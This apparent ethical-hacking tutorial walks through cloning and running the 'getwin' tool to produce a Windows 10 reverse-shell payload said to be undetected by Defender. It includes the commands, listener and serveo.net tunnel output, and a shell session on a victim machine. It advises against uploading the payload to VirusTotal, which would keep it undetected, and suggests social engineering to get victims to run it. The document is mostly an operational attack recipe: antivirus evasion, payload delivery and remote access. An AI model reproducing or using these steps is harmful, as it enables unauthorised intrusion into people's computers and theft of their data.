Create Windows 10 FUD (Fully Undetectable) payload

Windows shell is what, every hacker loves. There are various Windows payloads are designed to bypass Windows OS security mechanism. According to ethical hacking researcher of international institute of cyber security these payloads are well coded to get sessions of Windows OS. There are many different ways of getting reverse shell. Today we will show getwin tool used to create Win32 payload and listener.

Payload generated by this tool is FUD (fully undetectable) by Windows 10 Defender. Do Not Upload the payload generated on virustotal.com.

The tool does not need any configuration, no need to configure port forwarding or install other programs. See the demonstration in below video.

  • For testing purposes, On attacker side we will use Kali Linux 2018.4 amd64 and on the Victim side we will use Windows 10 1809.
  • Open terminal type git clone https://github.com/thelinuxchoice/getwin.git
  • Then type cd getwin & type chmod u+x getwin.sh
root@kali:/home/iicybersecurity/Downloads# git clone https://github.com/thelinuxchoice/getwin.git
 Cloning into 'getwin'…
 remote: Enumerating objects: 46, done.
 remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 46
 Unpacking objects: 100% (46/46), done.
 root@kali:/home/iicybersecurity/Downloads# cd getwin/
 root@kali:/home/iicybersecurity/Downloads/getwin# chmod u+x getwin.sh
 root@kali:/home/iicybersecurity/Downloads/getwin# ls
 getwin.sh  icon  LICENSE  README.md
  • Type ./getwin.sh
root@kali:/home/iicybersecurity/Downloads/getwin# ./getwin.sh
     _______                _  _  _  _
    (_______)          _   (_)(_)(_)(_)
     _   ___  _____  _| |_  _  _  _  _  ____
    | | (_  || ___ |(_   _)| || || || ||  _ \
    | |___) || ____|  | |_ | || || || || | | |
     \_____/ |_____)   \__) \_____/ |_||_| |_|v1.2

.:.: FUD win32 payload generator and listener :.:.
        .:.: Coded by:@linux_choice :.:.

     :: Warning: Attacking targets without  ::
     :: prior mutual consent is illegal!    ::
  • After the tool has started, press enter to set default port. Then enter payload name(test01) and select the icon.
 [*] Choose a Port (Default: 4098 ):
 [*] Payload name (Default: payload ): test01
 [] Put ICON path (Default: icon/messenger.ico ): [] Compiling…
 [] Saved: test01.exe [!] Please, don't upload to virustotal.com ! [] Starting server…
 [*] Send the first link above to target + /test01.exe:
 Forwarding HTTP traffic from https://ludius.serveo.net
 Forwarding TCP connections from serveo.net:2119
 [*] Waiting connection…
 listening on [any] 1547 …
  • As you can see listener connection has started. Now you can use any social engineering trick to execute the payload in victim computer.
  • For testing we will use Windows 10 1809 with Windows Defender enabled.
  • So now we will execute the payload in Windows 10 OS.
  • After creating the payload (test01.exe). Execute the payload (test01.exe). Simply double click the executable.
  • As you double click on the payload (test01.exe). A session will be created between victim and the target machine and you will get windows shell.
  • Tools like this are the part of ethical hacking courses offered by International Institute of Cyber Security

Do Not Upload the payload generated on virustotal.com

[*] Waiting connection…
 listening on [any] 4342 …
 connect to [127.0.0.1] from localhost [127.0.0.1] 43878
 TCP connection from 27.4.174.190 on port 3352
 Microsoft Windows [Version 10.0.17758.1]
 (c) 2018 Microsoft Corporation. All rights reserved.
 E:>C:
 C:
 C:>ipconfig
 ipconfig
 Windows IP Configuration
 Ethernet adapter Ethernet0:
 Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::c947:1c34:3f73:be30%13
    IPv4 Address. . . . . . . . . . . : 192.168.1.5
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : fe80::1%13
                                        192.168.1.1
C:>getmac
 getmac
 Physical Address    Transport Name
 =================== ==========================================================
 ##-##-##-E8-##-##   \Device\Tcpip_{F237F6ED-8EC9-42C1-93F8-E95EDB31D7FC}

(For security reasons we have hide the MAC address)
  • Now attacker can change or view any file of target’s Windows 10 computer.
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